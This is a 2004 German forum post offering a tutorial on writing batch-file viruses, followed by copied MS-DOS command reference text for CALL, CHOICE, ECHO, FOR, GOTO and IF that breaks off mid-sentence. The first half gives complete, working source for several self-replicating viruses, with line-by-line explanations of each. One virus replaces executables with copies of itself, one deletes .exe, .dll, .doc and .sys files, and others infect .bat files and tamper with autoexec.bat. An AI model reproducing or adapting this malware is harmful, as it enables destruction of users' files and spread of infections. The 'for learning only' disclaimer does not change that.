PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : viren programmieren



HurricanX
06.08.2004, 13:23
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
So bevor das tut anfängt: Ich übernehme keine Verantwortung für Schäden die die hier aufgeführten Scripts anrichten!
Und dieses tut dient zu Test und Lern zwecken also baut keine Scheiße!
Ansonsten noch fiel spass!





"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
Hallo und Tach!
Ich habe mich entschlossen ein tut über batch (.bat) Viren zu schreiben weil das einfach ist!
die erste Antwort auf die erste Frage: "wie mach ich das über haupt"
OK batch Viren sind einfach zu schreiben kanst du mit nem txt editor machen
einfach deinen Virus in die txt rein schreiben und danach die txt in xxxx.bat umbenennen (xxx ist der Nahme und .bat die Dateien Endung)
die zweit "Häufigste Frage" beantworte ich auch gleich. Frage: ich nenne die Datei .bat in um
aber der *****pc ändert die Datei nicht!
Antwort: du musst irgend einen Ordner nehmen da oben im Menü auf Extras dann auf Ordneroptionen gehen, dann auf Ansicht und dann
bei Einfache dateienerweiterungen ausblenden das Häkchen weg machen!
so und nun zum Richtigen programmierend.



so zu aller erst ein recht einfacher Virus.

Dieser Virus schnappt sich bei jedem Start eine .exe oder .com
Datei in seinem Verzeichnis und ersetzt sie durch eine Kopie von sich.
Danach wird die exe/com Datei wie gewohnt gestartet.

@echo off
ctty nul
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

Für alle Neulinge gehe ich den Code nun Zeile für Zeile durch.

@echo off
Dieser Befehl bewirkt, dass die Befehle des Programmes beim ausführen
nicht angezeigt werden also das heist das wen du die .bat öfnest das der dan nicht in dem dos-
fenster was dan da kommt zeigt was da gerade geschiet.

ctty nul
Hier werden alle ausgaben ins Nichts geleitet. So das der 'Benutzer'
nicht sieht, dass Dateien kopiert wurden.

for %%f in (*.exe *.com) do set A=%%f
Hier werden alle .exe und .com Dateien und schreibt jede Datei in die
Variable A. Das bedeutet, dass am Ende die letzte, noch nicht
infizierte Datei in der Variable A gespeichert wird.

if %A%==COMMAND.COM set A=
Falls A die Datei Command.com enthaelt, wird A Null gesetzt

rename %A% V%A%
Die gefundene Datei wird umbenannt in Vname aber du kannst auch [BKN]%A%
machen dan wirt die datei in [BKN] umbenannt.

if not exist V%A% goto end
Sollte das Umbenennen schiefgegangen sein, wird zur Stelle :end
gesprungen und beendet

attrib +h V%A%
Die umbenannte Datei wird versteckt und somit nur durch Parameter
mit dem Befehl dir /a:h sichtbar, auserdem wird sie bei einer erneuten
Ausfuehrung des Programms nicht noch einmal umbenannt.

copy %0.bat %A%
Der Virus (%0%) wird an die stelle der .com Datei kopiert
attrib +r %A%
Nun wird die Datei vor dem überschreiben geschützt

ren %A% *.bat
Nun noch eine Umbenennung in eine .bat Datei

set A=
Der Parameter A wird wieder geleert, um keine spuren zu hinterlassen

:end
Hierher wird mit goto end gesprungen

ctty con
Die Ausgabe wird wieder auf den Bildschirm geleitet

@if exist V%0.com V%0.com %1 %2 %3
Falls die ersetzte Datei eine .com Datei war, wird diese nun ausgeführt

@if exist V%0.exe V%0.exe %1 %2 %3
wie eben nur mit .exe Dateien

.................................................. ...................................... .................................................. ...................................... ................................
Dieser Virus löscht dateien das sieht man in der zeile 3 das hatten wir
schon bei unserem ersten virus
aber was uns an diesem virus interessiert ist
zeile 4.5.6.7

echo off
ctty nul
for %%f in (*.exe *.dll *.doc *.sys) do set file=%%f
if exist V%file%.bat goto VirEnd
if not exist Vir%file%.bat (copy %0 Vir%file%.bat)
del %file%
call Vir%file%.bat
:VirEnd

if exist V%file%.bat goto VirEnd
Wenn die Datei mit dem Namen V existiert geht er nach :virend

if not exist Vir%file%.bat (copy %0 Vir%file%.bat)
Wenn die Datei mit dem Namen Vir nicht exestiert erstellte er in dem ordner
in dem er sich befindet die Datei mit dem namen Vir.

del %file% und call Vir%file%.bat
Mit diesen beiden befehlen überschreibt der Virus die Dateien
und setzt vor dem namen Vir also zb spellforce.exe wird zu Virspellforce.exe


.................................................. ...................................... .................................................. ...................................... ........................
Ein anderer Virus, welcher .bat Dateien infiziert, soll hier auch noch
dargestellt werden. Er infiziert allerdings nur das Verzeichnis, in
dem er sich befindet, dort aber alle Dateien.



@echo off>nul.CaT
if '%1=='Inf goto CaTi
if exist c:\!CaT.bat goto CaTs
if not exist %0.bat goto CaTe
find "CaT"<%0.bat>c:\!CaT.bat
find "CaT" c:\autoexec.bat >nul
if not errorlevel 1 goto CaTs
echo.|date|find "30">nul.CaTs
if errorlevel 1 goto CaTs
echo echo CaT KillS YouR SysteM ... ;-> >>c:\Autoexec.bat
echo ctty nul >>c:\autoexec.bat
:CaTs
For %%a in (*.bat) do call c:\!CaT Inf %%a
goto CaTe
:CaTi
find "CaT"<%2>nul
if not errorlevel 1 goto CaTe
type c:\!CaT.bat>CaT.t
echo echo CaT InFeCtEd YoUr SyStEm >>CaT.t
type %2>>CaT.t
move CaT.t %2>nul.CaT
attrib c:\!CaT.bat +h +r +a
:CaTe



Erklärung der einzelnen zeilen:

@echo off>nul.CaT
Die anzeige der Befehle wird ausgeschaltet und eine Rückmeldung wird
nach nul.CaT geleitet

if '%1=='Inf goto CaTi
Sollte der parameter %1 Inf sein, wird nach CaTi gesprungen

if exist c:\!CaT.bat goto CaTs
Wenn die datei c:\!CaT.bat existiert wied nach CaTs gesprungen

find "CaT"<%0.bat>c:\!CaT.bat
Die eigene datei soll auf die Zeichenkette CaT durchsuchtwerden, und alle
Zeilen, die diese Zeichen enthalten werden nach !CaT.bat geschrieben.
Dort wird also ein abbild des Viruscodes erzeugt.

find "CaT" c:\autoexec.bat >nul
if not errorlevel 1 goto CaTs
Falls CaT in der Datei Autoexec.bat enthalten ist nach CaTs springen.

echo.|date|find "30">nul
if errorlevel 1 goto ende
Am 30. jedes Monats wird der Code weiter ausgefuehrt ansonsten nach CaTs
gesprungen.

echo echo CaT KillS YouR SysteM ... ;-> >>c:\Autoexec.bat
echo ctty nul >>c:\autoexec.bat
Andernfalls die Zeilen
echo CaT KillS YouR SysteM ... ;->
ctty nul
der Autoexec.bat hinzufügen, was alle totalen Versager aus dem Rennen
schmeißt, aber keine wirkliche zerstörung anrichtet.

:CaTs
For %%a in (*.bat) do call c:\!CaT Inf %%a
goto CaTe
Die Bat Datei !CaT wird nun für jede andere .bat Datei im Verzeichnis
ausgeführt. Danach wird zu CaTe gesprungen.

:CaTi
find "CaT"<%2>nul
if not errorlevel 1 goto CaTe
Untersuchung ob die angegebene Datei bereits infiziert ist, falls
ja wird an das Codeende gesprungen.

type c:\!CaT.bat>CaT.t
type %2>>CaT.t
move CaT.t %2>nul.CaT
attrib c:\!CaT.bat +h +r +a
Hier wird die Datei !Cat.bat kopiert, die infizierte Datei ans Ende
gehängt und die Ursprungsdatei wieder ersetzt. Danach wird die Datei
!Cat.bat versteckt.

:CaTe
Ende des Codes.


.................................................. ...................................... .................................................. ...................................... .
und hier noch ein par batch Viren.
der erste virus infiziert auch dateien.

@echo off>nul.ViRuS
rem ViRuS The BatchViRuS by jusuuu
rem ViRuS May be copied freely (On your own machine!)
rem ViRuS Programmed to prove that it's possible
rem ViRuS (and to show off skill in writing batchfiles)
rem ViRuS If you have no disk cache, you're not interested :)
rem ViRuS E-mail jepu@suu.BKN.BKN.de.com

rem ViRuS Known bug: interpretation of variables may make lines too long
rem ViRuS for DOS and let characters drop off: unpredictable behaviour

if "%0==" echo --------------------------------------->con.ViRuS
if "%0==" echo | Hi! I am the nice BatchViRuS! |
if "%0==" echo --------------------------------------->con.ViRuS
if "%0==" goto ViRuS_OLDBAT
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
if not exist %0.bat call xViRuSx
if not exist %0.bat del xViRuSx.bat
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
rem ViRuS or if environment is too small to contain %ViRuSname% !

if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS
rem (if environment cannot hold VPATH, ViRuS will function partially)
command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH%
call xViRuSx
del xViRuSx.bat
if "%VPATH%==" set VPATH=.>nul.ViRuS
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" echo.>xViRuSx.bat
if "%2==" exit>nul.ViRuS
if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
if exist %2\%ViRuSname%.bat exit
if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
if exist %2%ViRuSname%.bat exit
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_parsepath
for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath
shift>nul.ViRuS
if not "%2==" goto ViRuS_parsepath
if not "%1==". for %%a in (.\*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
:ViRuS_new_vpath
set VPATH=%3>nul.ViRuS
:ViRuS_loop
shift>nul.ViRuS
if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
if "%3==" exit>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop

:ViRuS_multiply
echo Checking: %2>con.ViRuS
find "SeT IchBin=%%0" <%2>xViRuSx.bat
call xViRuSx
del xViRuSx.bat
if "%IchBin%=="xViRuSx exit
find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
type %2>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
echo Infecting: %2>con.ViRuS
exit>nul.ViRuS

rem data for the first find in ViRuS_multiply
SeT IchBin=%0>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This is the dummy original batch



.................................................. ...................................... .................................................. ...................................... .......................
Der zweite Virus ist der MAKE virus der ist aber reichlich blöde und simple
trotzdem hab ich den hier reingemacht

echo off
tasm demovir
tlink /x /t demovir rnd mte
copy /b nops.bin+demovir.com tmp >nul
del demovir.com
ren tmp demovir.com

.................................................. ...................................... .................................................. ...................................... ............................

So und hier noch ein par Batch befehle mit Beispiel/Erklärung


CALL

Ruft ein Stapelverarbeitungsprogramm aus einem anderen heraus auf, ohne das aufrufende Stapelverarbeitungsprogramm zu beenden.

Syntax

CALL [Laufwerk:][Pfad]Dateiname

Parameter

[Laufwerk:][Pfad]Dateiname

Bezeichnet Position und Name des Stapelverarbeitungsprogramms, das Sie aufrufen wollen. Dateiname muss die Erweiterung .BAT haben.

Stapelverarbeitungsparameter

Bezeichnet beliebige Befehlszeileninformationen, die das Stapelverarbeitungsprogramm benötigt.

CALL Anmerkungen

Verwenden von Stapelverarbeitungsparametern

Stapelverarbeitungsparameter können beliebige Informationen enthalten, die Sie einem Stapelverarbeitungsprogramm übergeben können. Dazu zählen Optionen, Dateinamen, die ersetzbaren Parameter %1 bis %9 sowie Umgebungsvariablen, wie z.B. %baud%.

Verwenden von Befehlsketten(Pipes)- und Umleitungssymbolen

Verwenden Sie in Verbindung mit dem Befehl CALL keine Befehlsketten(Pipes)- ("|") und Umleitungssymbole ("<<","<",">" und ">>").

Rekursive Aufrufe

Sie können ein Stapelverarbeitungsprogramm erstellen, das sich selbst aufruft; Sie müssen jedoch einen Endebefehl einbauen, da sonst das aufrufende und das aufgerufene Stapelverarbeitungsprogramm in eine Endlosschleife geraten können.

CALL Beispiele

Um das Programm TESTNEU.BAT aus einem anderen Stapelverarbeitungsprogramm heraus aufzurufen, nehmen Sie in das aufrufende Stapelverarbeitungsprogramm

folgenden Befehl auf:

call testneu

Wenn das aufrufende Stapelverarbeitungsprogramm zwei ersetzbare Parameter akzeptiert und Sie diese zwei Parameter TESTNEU.BAT übergeben möchten, können Sie im aufrufenden Stapelverarbeitungsprogramm folgenden Befehl verwenden:

call testneu %1 %2



CHOICE

Fordert den Benutzer auf, eine Wahl in einem Stapelverarbeitungsprogramm zu treffen. Zeigt eine bestimmte Aufforderung an und wartet auf den Benutzer, aus einem bestimmten Satz von Tasten zu wählen. Sie können diesen Befehl nur in Stapelverarbeitungsprogrammen verwenden.

Informationen über den Parameter ERRORLEVEL finden Sie unter <CHOICE Anmerkung> sowie bei der Beschreibung des Befehls <IF>.

Syntax

CHOICE [/C[:]Tasten] [/N] [/T[:]c,nn] [Text]

Parameter

Text

Bezeichnet Text, der vor der Eingabeaufforderung angezeigt werden soll. Anführungszeichen sind nur erforderlich, wenn Sie in den Text ein Optionszeichen (/) vor der Eingabeaufforderung aufnehmen. Wenn Sie keinen Text angeben, zeigt CHOICE nur eine Eingabeaufforderung an.

Optionen

/C[:]Tasten

Bezeichnet Tasten, die als Eingabe zulässig sind. In der Anzeige stehen diese Tasten in eckigen Klammern ([]) und sind durch Kommas voneinander getrennt. Zum Abschluss steht ein Fragezeichen. Wenn Sie die Option /C

nicht angeben, verwendet CHOICE "JN" als Standard. Der Doppelpunkt (:) ist wahlfrei.

/N

Bewirkt, dass CHOICE die Eingabeaufforderung nicht anzeigt. Der Text davor wird jedoch angezeigt. Wenn Sie die Option /N verwenden, gelten die angegebenen Tasten trotzdem.

/S

Bewirkt, dass CHOICE zwischen Gross- und Kleinschreibung unterscheidet. Ohne Angabe der Option /S akzeptiert CHOICE für die vom Benutzer festgelegten Tasten Gross- oder Kleinbuchstaben.

/T[:]c,nn

Bewirkt, dass CHOICE eine bestimmte Anzahl von Sekunden wartet, bevor eine festgelegte Taste als Standard verwendet wird. Der Doppelpunkt (:) ist wahlfrei. Die Werte für die Option /T sind wie folgt:

c

Bezeichnet das Zeichen, das nach nn Sekunden zum Standard wird. Das Zeichen muss zu denen gehören, die mit der Option /C festgelegt wurden.

nn

Bezeichnet die Anzahl von Sekunden, die pausiert wird. Zulässige Werte liegen zwischen 0 und 99. Bei Angabe von 0 ist vor dem Festlegen der Standardtaste keine Pause.

CHOICE Anmerkung

ERRORLEVEL-Parameter

Die erste von Ihnen zugewiesene Taste gibt den Wert 1 zurück, die zweite den Wert 2, die dritte den Wert 3 usw. Drückt der Benutzer eine Taste, die nicht zu den von Ihnen zugewiesenen Tasten gehört, lässt CHOICE ein akustisches Signal ertönen (d.h. es wird das Zeichen BEL (07h) an die Konsole gesendet).

Wenn CHOICE eine Fehlerbedingung entdeckt, gibt es den ERRORLEVEL-Wert 255 zurück. Wenn der Benutzer STRG+UNTBR oder STRG+C drückt, gibt CHOICE den ERRORLEVEL-Wert 0 zurück.

Wenn Sie ERRORLEVEL-Parameter in einem Stapelverarbeitungsprogramm verwenden, listen Sie sie in absteigender Reihenfolge.

CHOICE Beispiele

Wenn Sie in einer Stapelverarbeitungsdatei die folgende Syntax verwenden

choice

sieht der Benutzer

[J,N]?

Wenn Sie in einer Stapelverarbeitungsdatei die folgende Syntax verwenden,

choice /c:jnw

sieht der Benutzer beim Starten von CHOICE:

[J,N,W]?

Wenn Sie der Syntax Text hinzufügen,

choice /c:jnw Ja, Nein oder Weiter

sieht der Benutzer beim Starten von CHOICE:

Ja, Nein oder Weiter[J,N,W]?

choice /n



Das sieht der Benutzer, wenn Sie keine Eingabeaufforderung anzeigen

Wenn Sie wie im folgenden Beispiel die Option /N verwenden, um in einem Stapelverarbeitungsprogramm keine Eingabeaufforderung anzuzeigen,

choice /n Ja, Nein oder Weiter?

sieht der Benutzer nur den Text, den Sie beim Aufruf von CHOICE angegeben haben:

Ja, Nein oder Weiter?

Das sieht der Benutzer, wenn Sie die Option T verwenden

Wenn Sie in einem Stapelverarbeitungsprogramm die folgende Syntax verwenden,

choice /c:jnw /t:n,5

sieht der Benutzer beim Starten von CHOICE:

[J,N,W]?

Wenn der Benutzer nach 5 Sekunden keine Taste gedrückt hat, wählt CHOICE N und gibt den ERRORLEVEL-Wert 1 zurück. Drückt der Benutzer vor Ablauf der 5 Sekunden eine Taste, gibt CHOICE den Wert zurück, der der Auswahl des Benutzers entspricht.

Um die Option Laufwerk C: zu defragmentieren, beim Start Ihres Computers zu haben, können Sie folgendes zu Ihrer AUTOEXEC.BAT-Datei hinzufügen.

choice Defrag drive /ty,5

if errorlevel 2 goto KeinDefrag

defrag c:

:KeinDefrag

Wenn Sie N innerhalb von 5 Sekunden drücken, läuft DEFRAG nicht und CHOICE gibt den ERRORLEVEL-Wert 2 zurück. Wenn Sie N nicht innerhalb von 5 Sekunden drücken, oder wenn Sie J wählen, läuft DEFRAG auf dem Laufwerk C:.

Verwenden von CHOICE in einem Stapelverarbeitungsprogramm

Das folgende Stapelverarbeitungsprogramm demonstriert den Befehl CHOICE zur Auswahl unter den drei Programmen MS-DOS-Editor, Micrososft Anti-Virus und Microsoft Backup.

Beachten Sie, dass wenn IF ERRORLEVEL-Aussagen in absteigender Reihenfolge aufgelistet sind und der von CHOICE zurückgegebene ERRORLEVEL-Parameter grösser oder gleich dem Parameter ist, der im IF-Befehl angegeben wurde, MS-DOS die IF-Aussage als wahr betrachtet.

@echo off

cls

echo.

echo A Microsoft Editor

echo B Microsoft Anti-Virus

echo C Microsoft Backup

echo.

choice /c:abc Option wählen

if errorlevel 3 goto MSBackup

if errorlevel 2 goto Msav

if errorlevel 1 goto Edit

:Edit

edit

goto Ende

:Msav

msav

goto Ende

:Msbackup

msbackup

goto Ende

:Ende



ECHO

Zeigt den Text der Stapelverarbeitungsdatei an oder versteckt ihn, wenn das Programm ausgeführt wird. Zeigt auch an, ob die befehlswiedergebende Funktion ein- oder ausgeschaltet ist.

Wenn Sie ein Stapelverarbeitungsprogramm ausführen, gibt MS-DOS normalerweise die Befehle des Stapelverarbeitungsprogramms auf dem Bildschirm wieder (wie ein Echo). Sie können diese Funktion mit Hilfe des Befehls ECHO ein- und ausschalten.



Syntax

ECHO [ON|OFF]

Um mit dem Befehl ECHO eine Meldung anzuzeigen, verwenden Sie folgende Syntax:

echo [Meldung]

Parameter

ON|OFF

Gibt an, ob die Befehlsanzeige ein- oder ausgeschaltet werden soll. Um die aktuelle Einstellung von ECHO anzuzeigen, verwenden Sie den Befehl ECHO ohne Parameter.

Meldung

Bezeichnet den Text, den MS-DOS auf dem Bildschirm anzeigen soll.

Zugehöriger Befehl

Informationen über die zeitweilige Unterbrechung eines Stapelverarbeitungsprogramms finden Sie bei der Beschreibung des Befehls <PAUSE>.

ECHO Anmerkungen

Verwenden einer Meldung mit dem Befehl ECHO

Der Befehl ECHO Meldung ist nützlich, wenn ECHO ausgeschaltet ist. Um eine Meldung anzuzeigen, die sich über mehrere Zeilen erstreckt, ohne andere Befehle anzuzeigen, können Sie in Ihr Stapelverarbeitungsprogramm nach dem Befehl ECHO OFF mehrere Befehlmeldungen ECHO einfügen.

Verstecken der Eingabeaufforderung

Wenn Sie den Befehl ECHO OFF an der Eingabeaufforderung verwenden, erscheint diese nicht auf dem Bildschirm. Um sie wieder anzuzeigen, geben Sie ECHO ON ein.

So verhindern Sie, dass MS-DOS eine einzelne Zeile wiedergibt

Sie können vor einen Befehl in einem Stapelverarbeitungsprogramm das Zeichen @ (ALT-64) setzen, um zu verhindern, dass MS-DOS diese Zeile wiedergibt.

Ausgabe einer Leerzeile

Um auf dem Bildschirm eine Leerzeile auszugeben, geben Sie ECHO und danach einen Punkt (ECHO.) ein. Dazwischen darf kein Leerraum sein.

Anzeigen von Befehlsketten und Umleitungszeichen

Mit dem Befehl ECHO können Sie keine Befehlskette (Pipe) (|) und kein Umleitungszeichen (< oder >) anzeigen.

ECHO Beispiele

Das folgende Beispiel zeigt ein Stapelverarbeitungsprogramm, das eine dreizeilige Meldung enthält, vor und hinter der eine Leerzeile erscheint:

echo off

echo.

echo Dieses Stapelverarbeitungsprogramm

echo formatiert und prüft

echo neue Disketten.

echo.

Wenn Sie ECHO ausschalten möchten, ohne dass der Befehl ECHO selbst angezeigt wird, setzen Sie das Zeichen @ vor den Befehl:

@echo off

Sie können die Befehle IF und ECHO in derselben Zeile verwenden. Beispiel:

if exist *.rpt echo Der Bereich ist eingetroffen.



FOR

Führt den angegebenen Befehl für jede Datei in einer Gruppe von Dateien aus. Sie können den Befehl FOR innerhalb eines Stapelverarbeitungsprogramms oder direkt an der Eingabeaufforderung aufrufen.

Syntax

Um FOR in einem Stapelverarbeitungsprogramm zu benutzen, verwenden Sie folgende Syntax:

FOR %%Variable IN (Gruppe) DO Befehl [Befehlsparameter]

Um FOR an der Eingabeaufforderung zu benutzen, verwenden Sie folgende Syntax:

for %Variable IN (Gruppe) DO Befehl [Befehlsparameter]

Parameter

%%Variable oder %Variable

Stellt eine ersetzbare Variable dar. Der Befehl FOR ersetzt %%Variable (oder %Variable) nacheinander durch jeden der Textzeichenfolgen in der angegebenen Gruppe, bis der mit dem Parameter Befehl angegebene Befehl für alle Dateien ausgeführt worden ist. Verwenden Sie %%Variable, wenn Sie den Befehl FOR aus einem Stapelverarbeitungsprogramm heraus ausführen. Verwenden Sie %Variable, wenn Sie FOR an der Eingabeaufforderung ausführen.



(Gruppe)

Bezeichnet eine oder mehrere Dateien oder Textzeichenfolgen, die mit dem angegebenen Befehl bearbeitet werden sollen. Die Klammern müssen angegeben werden.

Befehl

Bezeichnet den Befehl, der für jede in der angegebenen Gruppe enthaltene Datei ausgeführt werden soll.

Befehlsparameter

Bezeichnet die Parameter und Optionen, die Sie mit dem angegebenen Befehl verwenden möchten (vorausgesetzt, der angegebene Befehl verwendet Parameter oder Optionen).

FOR Anmerkungen

Verwenden der Schlüsselwörter IN und DO

IN und DO sind keine Parameter, müssen jedoch im Befehl FOR angegeben werden. MS-DOS zeigt eine Fehlermeldung an, wenn eines dieser Schlüsselwörter fehlt.

Verwenden der ersetzbaren Variablen

Um Verwechslungen mit den Stapelverarbeitungsparametern %0 bis %9 zu vermeiden, können Sie für Variable jedes beliebige Zeichen, ausgenommen jedoch die Ziffern 0 bis 9, verwenden. In einfachen Stapelverarbeitungsprogrammen ist meistens ein einzelnes Zeichen, wie beispielsweise %F, bereits ausreichend.

In komplexen Stapelverarbeitungsprogrammen können Sie auch verschiedene Werte für Variable verwenden, um mehrere ersetzbare Variablen voneinander unterscheiden zu können. Sie können jedoch nicht mehrere FOR-Befehle in derselben Befehlszeile verschachteln.

Angeben einer Gruppe von Dateien

Der Parameter Gruppe kann eine oder mehrere Gruppen von Dateien darstellen. Sie können Platzhalter (* und ?) verwenden, um eine Dateigruppe anzugeben. Die folgenden Beispiele zeigen gültige Dateigruppen:

(*.doc)

(*.doc *.txt *.me)

(jan*.doc jan*.rpt feb*.doc feb*.rpt)

(ar??1992.* ap??1992.*)

Wenn Sie den Befehl FOR ausführen, wird der erste Wert in Gruppe für %%Variable (oder %Variable) eingesetzt, und MS-DOS führt den angegebenen Befehl aus, um diesen Wert zu verarbeiten. Dieser Vorgang wird so oft wiederholt, bis MS-DOS alle Dateien (oder Dateigruppen) verarbeitet hat, die dem Wert (oder den Werten) in Gruppe entsprechen.

FOR Beispiele

Angenommen, Sie möchten mit dem Befehl TYPE den Inhalt aller im aktuellen

Verzeichnis enthaltenen Dateien anzeigen, die die Erweiterung .DOC oder .TXT

haben. Um dies unter Verwendung der ersetzbaren Variable %F durchzuführen,

geben Sie folgenden Befehl an der Eingabeaufforderung ein:

for %f in (*.doc *.txt) do type %f

In diesem Beispiel wird jede Datei im aktuellen Verzeichnis, die die

Erweiterung .DOC oder .TXT hat, für die Variable %F eingesetzt, bis der

Inhalt jeder Datei angezeigt worden ist. Wenn Sie diesen Befehl in einer

Stapelverarbeitungsdatei verwenden möchten, würden Sie jedes %F durch %%F

ersetzen, da MS-DOS die Variable sonst ignorieren und eine Fehlermeldung

anzeigen würde.

MS-DOS unterstützt Befehlsoptionen, Befehlsketten oder Umleitungen, die Sie

eventuell mit dem angegebenen Befehl verwenden möchten. Um beispielsweise

die Ausgabe des vorhergehenden Befehls auf PRN: (den

Standard-Druckeranschluss) umzuleiten, geben Sie folgenden Befehl ein:

for %f in (*.doc *.txt) do type %f > prn:



GOTO

Leitet MS-DOS zu der durch eine Marke von Ihnen gekennzeichneten Zeile eines

Stapelverarbeitungsprogramms. Sie können diesen Befehl nur in

Stapelverarbeitungsprogrammen verwenden.

Der Befehl GOTO leitet MS-DOS innerhalb eines Stapelverarbeitungsprogramms

zu einer durch eine Marke gekennzeichneten Zeile. Wenn MS-DOS die Marke

gefunden hat, verarbeitet es die Befehle ab der nächsten Zeile.

Syntax

GOTO Marke

Parameter

Marke

Bezeichnet die Zeile innerhalb eines Stapelverarbeitungsprogramms, an

der MS-DOS die Ausführung fortsetzen soll.

GOTO Anmerkungen

Gültige Werte für Marke

Der Parameter Marke kann Leerzeichen enthalten. Es dürfen jedoch keine anderen Trennzeichen, wie beispielsweise Semikola oder Gleichheitszeichen, verwendet werden.

GOTO verwendet die ersten acht Zeichen jeder Marke

Der Befehl GOTO verwendet nur die ersten acht Zeichen einer Marke. Daher sind die beiden Marken "gutentag1" und "gutentag2" gleichbedeutend mit der Marke "gutentag".

Anpassen des Parameters Marke an die Marke im Stapelverarbeitungsprogramm

Der Wert der von Ihnen in der GOTO-Befehlszeile angegebenen Marke muss einer Marke im Stapelverarbeitungsprogramm entsprechen. Der Marke innerhalb des Stapelverarbeitungsprogramms muss ein Doppelpunkt vorangestellt sein.

Ist die von Ihnen angegebene Marke nicht in Ihrem Stapelverarbeitungsprogramm enthalten, wird das Stapelverarbeitungsprogramm abgebrochen, und MS-DOS zeigt die folgende Meldung an:

Sprungziel nicht gefunden

Wenn eine Zeile in einem Stapelverarbeitungsprogramm mit einem Doppelpunkt (:) beginnt, erkennt MS-DOS, dass es sich um eine Marke handelt, und führt die Zeile nicht als Befehl aus. MS-DOS ignoriert alle Befehle, die in einer mit einem Doppelpunkt beginnenden Zeile enthalten sind.

Verwenden von GOTO für bedingte Operationen

Der Befehl GOTO wird oft zusammen mit anderen Befehlen in derselben Befehlszeile zum Durchführen bedingter Operationen verwendet. Weitere Informationen über die Verwendung von GOTO für bedingte Operationen finden Sie bei der Beschreibung des Befehls <IF>.

GOTO Beispiel

Das folgende Stapelverarbeitungsprogramm formatiert eine Diskette im Laufwerk A: als Systemdiskette. Wenn der Formatiervorgang erfolgreich beendet wurde, leitet der Befehl GOTO MS-DOS zur Marke mit der Bezeichnung "ende":

echo off

format a: /s

if not errorlevel 1 goto ende

echo Beim Formatieren ist ein Fehler aufgetreten.

:ende

echo Ende des Stapelverarbeitungsprogramms.



IF

Ermöglicht die bedingte Verarbeitung von Befehlen in Stapelverarbeitungsprogrammen. Wenn die in einem IF-Befehl angegebene Bedingung wahr ist, führt MS-DOS den auf die Bedingung folgenden Befehl aus. Ist die Bedingung falsch, ignoriert MS-DOS den Befehl. Sie können diesen Befehl nur in Stapelverarbeitungsprogrammen verwenden.

Syntax

IF [NOT] ERRORLEVEL Zahl Befehl

IF [NOT] Zeichenfolge1==Zeichenfolge2 Befehl

IF [NOT] EXIST Dateiname Befehl

Parameter

NOT

Legt fest, dass MS-DOS den Befehl nur dann ausführen soll, wenn die Bedingung falsch ist.

ERRORLEVEL Zahl

Ist wahr, wenn das vorher von COMMAND.COM ausgeführte Programm einen Beendigungscode geliefert hat, der grösser oder gleich Zahl ist.

Befehl

Bezeichnet den bei einer wahren Bedingung von MS-DOS auszuführenden Befehl.

Zeichenfolge1==Zeichenfolge2

Ist nur wahr, wenn Zeichenfolge1 und Zeichenfolge2 identisch sind. Diese Werte können konstante Zeichenfolgen oder auch Stapelverarbeitungsparameter (beispielsweise %1) sein. Konstante Zeichenfolgen benötigen keine Anführungszeichen.

EXIST Dateiname

Ist wahr, wenn Dateiname existiert.

IF Beispiele

Im folgenden Beispiel wird geprüft, ob ein Verzeichnis vorhanden ist. Der Befehl IF kann nicht direkt zur Überprüfung eines Verzeichnisses verwendet werden; in jedem Verzeichnis ist jedoch der Null-Eintrag (NUL) vorhanden. Deshalb können Sie durch überprüfen des Null-Eintrags feststellen, ob ein

Verzeichnis existiert.

if exist c:\meindir\nul goto prozedur

Das folgende Beispiel zeigt die Meldung: "Kann Datendatei nicht finden", wenn MS-DOS nicht die Datei PRODUKT.DAT finden kann.

if not exist produkt.dat echo Datendatei nicht auffindbar

Wenn ein Programm endet, übergibt es MS-DOS einen Beendigungscode. Beispielsweise wird der Wert 0 in der Regel verwendet, um die erfolgreiche Ausführung des Programms anzuzeigen. Durch den Parameter ERRORLEVEL können Sie Beendigungscodes als Bedingungen verwenden.

Das folgende Beispiel zeigt eine Fehlermeldung an, wenn beim Formatieren der Diskette in Laufwerk A: ein Fehler auftritt. Tritt kein Fehler auf, wird die Fehlermeldung übergangen.

:begin

echo off

format a: /s

if not errorlevel 1 goto Ende

echo echo Bei der Formatierung trat ein Fehler auf.

:Ende

echo Ende des Stapelverarbeitungsprogramms.

Ein weiteres Beispiel zur Verwendung des Parameters ERRORLEVEL finden Sie

